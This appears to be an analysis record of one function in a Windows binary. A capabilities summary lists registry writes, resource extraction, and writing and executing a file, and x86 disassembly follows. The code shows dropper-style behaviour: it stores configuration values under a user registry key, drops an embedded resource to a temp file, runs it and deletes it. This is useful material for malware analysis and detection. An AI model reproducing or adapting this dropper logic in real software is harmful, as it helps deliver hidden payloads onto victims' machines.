Function at 0x401070
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x670
push ebx
push ebp
push esi
push edi
push 0
push 0x4d6
call fcn.00401000
push 0
push 0x4d4
mov edi, eax
call fcn.00401000
push 0
push 0x4d5
mov dword [esp + 0x38], eax
call fcn.00401000
push 0
push 0x4d7
mov esi, eax
call fcn.00401000
push 0
push 0x4d8
mov ebx, eax
call fcn.00401000
push 0
push 0x4d9
mov ebp, eax
call fcn.00401000
push 0
push 0x4da
mov dword [esp + 0x50], eax
call fcn.00401000
add esp, 0x38
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x280]
push eax
push edi
push str.Software_s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x280]
push edx
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push 0x80000001
mov dword [esp + 0x40], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 3
push eax
push 0x406054
push edx
call esi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push ebx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.wmdata
push eax
call esi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0x14]
push ebp
push 1
push eax
push str.LangID
push ecx
call esi
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x18]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [esp + 0x18]
push 1
push eax
push 0x406040
push edx
call esi
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x14]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.zoneId
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4d2
push 0x4d3
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call edi
test esi, esi
je 0x4012ec
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
call edi
test ebx, ebx
je 0x4012ec
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
call edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
call edi
lea edx, [esp + 0x17c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x78]
lea ecx, [esp + 0x17c]
push eax
push 0
push 0x406030
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x100
push 2
push 0
push 0
lea edx, [esp + 0x8c]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x4012ec
lea eax, [esp + 0x14]
push 0
push eax
push ebp
push ebx
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x38]
lea edx, [esp + 0x34]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x34], 0x44
push ecx
push edx
push eax
push eax
push 0x20
push eax
push eax
push eax
push eax
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4012e1
mov ecx, dword [esp + 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [esp + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x670
ret 0x10